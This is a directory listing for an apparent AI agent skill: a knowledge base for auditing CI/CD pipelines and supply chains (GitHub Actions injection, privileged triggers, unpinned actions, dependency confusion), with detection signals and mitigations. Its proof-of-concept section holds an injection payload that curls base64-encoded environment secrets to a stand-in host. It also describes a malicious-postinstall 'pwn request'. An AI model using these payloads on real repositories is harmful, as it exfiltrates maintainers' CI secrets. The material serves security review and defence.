Knowledge base for finding CI/CD and supply-chain weaknesses visible in a repository - GitHub Actions pull_request_target and workflow_run misuse, script injection from event data, unpinned actions and images, over-broad token permissions, secret exposure, self-hosted runners, cache and artifact poisoning, dependency confusion, curl-pipe-sh and unverified downloads, unprovenanced releases, and the same in GitLab CI, CircleCI, Jenkins and Dockerfiles. Use when hunting pipeline or build-chain r...
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Sh Kb Ci Cd?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/dmdhrumilmistry-sh-kb-ci-cd)
---
name: sh-kb-ci-cd
description: "Knowledge base for finding CI/CD and supply-chain weaknesses visible in a repository - GitHub Actions pull_request_target and workflow_run misuse, script injection from event data, unpinned actions and images, over-broad token permissions, secret exposure, self-hosted runners, cache and artifact poisoning, dependency confusion, curl-pipe-sh and unverified downloads, unprovenanced releases, and the same in GitLab CI, CircleCI, Jenkins and Dockerfiles. Use when hunting pipeline or build-chain risk. CWE-829, CWE-494, CWE-1395, CWE-77, OWASP A08:2021-Software and Data Integrity Failures."
---
# CI/CD & Supply Chain - Hunter Knowledge Base
A pipeline runs code with secrets and write access. If an outsider (a fork PR author, an issue commenter, a
dependency maintainer) can influence what it runs, they inherit those privileges. Hunt for **untrusted input
meeting a privileged context**, and for build inputs fetched without integrity checks.
## When to hunt this
Any repo with `.github/workflows/`, `.gitlab-ci.yml`, `.circleci/config.yml`, `Jenkinsfile`, `azure-pipelines.yml`,
`bitbucket-pipelines.yml`, `Dockerfile*`, `Makefile` and release scripts, `.npmrc`, `pip.conf`,
`requirements*.txt`, `package.json` scripts, `renovate.json` or `.github/dependabot.yml`. Open-source repos
accepting outside PRs are the highest-risk case.
## Sources
Attacker-influenced fields: PR title, body, branch and head ref names, commit messages, author names, issue and
comment bodies, labels, release names, `workflow_dispatch` inputs, file contents of a fork's checkout, build
artifacts from untrusted runs, cache contents, package names and versions from registries, remote scripts.
## Sinks and patterns (grep targets)
- **Script injection (GitHub Actions)**: an expression interpolated into `run:` or `actions/github-script`:
`${{ github.event.issue.title }}`, `github.event.pull_request.title|body`, `github.event.comment.body`,
`github.head_ref`, `github.event.pull_request.head.ref`, `github.event.head_commit.message`,
`github.event.*.user.name`, `inputs.*`. The runner substitutes the text before the shell parses it.
Safe form: pass through `env:` and quote the shell variable. Also writes to `$GITHUB_ENV` / `$GITHUB_OUTPUT` /
`$GITHUB_PATH` from untrusted values (newline injection sets other variables).
- **Privileged triggers**: `on: pull_request_target` and `on: workflow_run`, `issue_comment`, `issues` run in
the base repository context with secrets and a write-capable token. Danger is checkout of the PR head
(`ref: ${{ github.event.pull_request.head.sha }}`, `head.ref`, `refs/pull/*/merge`) followed by any build,
install, test, script or action that executes its files (`npm install`, `pip install`, `make`, a local
action `uses: ./`). `workflow_run` that downloads and trusts artifacts from a fork-triggered run.
- **Unpinned third-party code**: `uses: owner/action@v1`, `@main`, `@master`, `@latest` instead of a full commit
SHA; reusable workflows pinned to a branch; `image: foo:latest` or a mutable tag without a digest;
GitLab `include: remote:` and `include: project:` with no `ref`; CircleCI orbs on `@volatile`; Jenkins
`@Library('x') _` with no version.
- **Permissions and tokens**: no top-level `permissions:` (token defaults depend on repository or org
settings), `permissions: write-all`, `contents: write`, `id-token: write`, `pull-requests: write`,
`packages: write` granted to jobs that do not need them; long-lived PATs and cloud keys in secrets where OIDC
federation fits; `secrets: inherit` into reusable workflows; `actions/checkout` without
`persist-credentials: false` before running untrusted code (token stays in `.git/config`).
- **Secret exposure**: secrets in `echo`, `set -x`, `env` dumps, command lines, build args (`ARG TOKEN`,
`--build-arg`), image layers, uploaded artifacts, logs; `ACTIONS_STEP_DEBUG` or debug logging; secrets
passed to steps from forks; `.env` or key files committed or copied into images.
- **Runners**: `runs-on: self-hosted` in a public repository or one accepting fork PRs (persistent, may share
network and credentials); runners with cloud instance roles or Docker socket access; non-ephemeral runners.
- **Cache and artifact poisoning**: `actions/cache` or other caches written by a low-trust workflow (fork PR)
and restored by a privileged one (release, deploy) under the same key; `upload-artifact` then trusted
`download-artifact` in a privileged `workflow_run`; build output from untrusted jobs published as-is.
- **Dependencies**: `npm install` instead of `npm ci`, missing lockfile or lockfile not committed, no integrity
hashes; `pip install` without `--require-hashes`, `--extra-index-url` mixing public and private indexes
(dependency confusion), internal package names not reserved or scoped on the public registry, `.npmrc`
without a scope-to-registry mapping; install scripts (`postinstall`, `preinstall`, `setup.py`) run in CI with
secrets present; Git or URL dependencies on mutable refs; `go get` or `GOFLAGS=-insecure`, `GONOSUMDB`,
`GOFLAGS=-mod=mod` in release builds; `--no-verify`, `--trusted-host`, `verify=False`, `NODE_TLS_REJECT_UNAUTHORIZED=0`.
- **Unverified downloads**: `curl ... | sh|bash`, `wget -O- | sh`, `iex (iwr ...)`, `ADD http://...`, binaries
fetched with no checksum or signature check, `apt-key` use, `--allow-unauthenticated`.
- **Dockerfile**: `FROM` mutable tag, no `USER` (runs as root), `COPY . .` including secrets, secrets in
`ARG`/`ENV`, `apt-get install` without pins when reproducibility matters, multi-stage builds that copy
secrets into the final stage.
- **Release and publish**: publish or deploy jobs triggered by untrusted events, without environment
protection or required reviewers, from a branch anyone can push to, without provenance or signing
(`npm publish --provenance`, sigstore/cosign, SLSA attestations), tokens usable by any workflow.
- **Jenkins and GitLab specifics**: `sh "${params.X}"` or Groovy string interpolation of user parameters,
`evaluate`, scripts approved without review; GitLab variables unprotected and exposed to merge request
pipelines from forks, `CI_MERGE_REQUEST_TITLE` or `CI_COMMIT_MESSAGE` in `script:` lines.
## Detection recipe
1. List every pipeline file and its triggers. Mark triggers that run for outsiders (`pull_request_target`,
`workflow_run`, `issue_comment`, `issues`, forks, merge request pipelines from forks).
2. For each privileged workflow, answer three questions: what secrets and token scopes exist, what untrusted
data enters (event fields, checked-out files, artifacts), and what executes it.
3. `rg '\$\{\{\s*(github\.event\.|github\.head_ref|inputs\.)' .github/workflows` and check each hit sits in
`env:` rather than `run:` or `script:`.
4. `rg -P 'uses:\s*[^./][^@]*@(?![0-9a-f]{40})' .github/workflows` for unpinned actions; note first-party
(`actions/*`) vs third-party and which jobs hold secrets.
5. Read `permissions:` at workflow and job level; find jobs that write but only need read.
6. Check every checkout in a privileged trigger for a PR ref, then follow what runs afterwards.
7. Review install and build steps for lockfile use, integrity checks, registries, and download-and-execute.
8. Inspect Dockerfiles and release scripts; check publish jobs for environment protection and provenance.
9. Check dependency update config: automerge of major updates, no cooldown, unreviewed bot PRs.
## PoC templates (illustrative, for authorized review)
- Script injection: open an issue or PR titled `a"; curl https://collab.example/$(printenv | base64 -w0) #`
and show the workflow `run:` line that interpolates the title.
- Pwn request: fork, add a modified `package.json` `postinstall` or `Makefile` target, open a PR, and show a
`pull_request_target` job checking out the head ref and running install or build with secrets in scope.
- Unpinned action: show the mutable tag and that a compromise or retag of that action runs in a job with
`contents: write` or secrets. Static evidence is enough; do not tamper with third-party repos.
- Dependency confusion: show an internal package name absent from the public registry and an install path that
consults it; do not publish anything.
- Artifact trust: show `workflow_run` downloading a fork artifact and executing or publishing it.
## Variant hunting
- Once one injectable expression is found, grep all workflows, composite actions (`action.yml`) and reusable
workflows for the same context fields; check `actions/github-script` JavaScript bodies as well as `run:`.
- Sibling pipelines: release vs test, nightly, docs, bot or labeler workflows (often over-permissioned).
- Other CI systems and local scripts the repo also uses (Makefile, `scripts/`, pre-commit, `tox`).
- Every Dockerfile and compose file, not just the main one; base image tags across all of them.
- Third-party actions that themselves fetch and run code at runtime.
## False-positive filters
- The expression is not attacker-controlled (e.g. `github.sha`, `github.run_id`, `github.repository`, secrets
you cannot influence) or it is passed via `env:` and used as a quoted shell variable.
- `pull_request_target` only labels or comments, never checks out or runs PR code, and uses no untrusted input
in `run:`. `pull_request` from forks gets a read-only token and no secrets by default.
- Actions pinned to a full commit SHA, or first-party `actions/*` accepted as low risk by policy (still note it).
- Permissions are narrowed per job to the minimum and the job holds no secrets.
- Self-hosted runner is ephemeral, isolated, and only runs for trusted collaborators (private repo).
- Lockfile present with integrity hashes and `npm ci`/`--frozen-lockfile` in use; registry scopes mapped.
- Workflow is gated by a protected environment with required reviewers, and the untrusted code runs earlier
without secrets. Test and example directories rarely matter.
## CWE / OWASP / severity
CWE-829 (inclusion of functionality from untrusted control sphere), CWE-494 (download of code without
integrity check), CWE-1395 (dependency on vulnerable third-party component), CWE-77 for script injection,
CWE-532 or CWE-200 for secrets in logs. OWASP A08:2021 Software and Data Integrity Failures; OWASP Top 10
CI/CD Security Risks (Poisoned Pipeline Execution, Dependency Chain Abuse, Insufficient Credential Hygiene).
Severity: **critical** when an outsider reaches secrets or release publishing with no approval; **high** for
exploitable script injection or write tokens in untrusted contexts; **medium** for unpinned actions in secret-
holding jobs and unverified downloads; **low** for hygiene gaps without a path.
## Chaining hints
Workflow injection -> repo write token -> push to default branch or release -> downstream compromise;
leaked cloud key -> `secrets` and infrastructure takeover; poisoned cache or artifact -> trojaned release;
OIDC trust policy too broad (`misconfig`) -> cloud access from any workflow; weak publish -> consumers pulled.
## Detection signals (for defenders)
- **CI audit and run logs**: workflows run on fork PRs or comment events that touch secrets; steps making
outbound requests to unfamiliar hosts; unexpected `GITHUB_TOKEN` writes (labels, pushes, releases) from
comment-triggered jobs; workflow file changes to triggers or permissions; new self-hosted runner registrations.
- **Repository audit logs**: secret or variable reads, new deploy keys or PATs, release or tag creation outside
the normal bot and branch, force pushes, protection rule changes.
- **Cloud audit logs** (CloudTrail, GCP and Azure activity): role assumption through OIDC from an unexpected
repository, ref or workflow subject; credentials used from outside the runner network.
- **Registry and egress**: package installs of names that exist both internally and publicly; installs
resolving from a new index; build hosts fetching and running scripts from unpinned URLs.
- **Behavior-based ideas**: (1) alert when a job on an outsider-triggered event requests `id-token` or reads
production secrets; (2) alert when a published artifact digest has no matching signed build record.
- ATT&CK: T1195 Supply Chain Compromise (T1195.001 and T1195.002 for dependencies and software supply chain).
## Mitigation
Never run untrusted code under `pull_request_target` or `workflow_run` with secrets; split into an
unprivileged build and a privileged, minimal follow-up that treats artifacts as data. Pass event fields via
`env:`, never inline in scripts. Pin actions, reusable workflows and images to full SHAs or digests and let a
bot update them with review. Set `permissions: {}` or read-only at the top and grant per job. Prefer OIDC
over stored keys and scope trust policies to repo, ref and environment. Use ephemeral runners, protected
environments with reviewers, lockfiles with integrity hashes, `npm ci`, scoped registries, checksum-verified
downloads, and signed releases with provenance.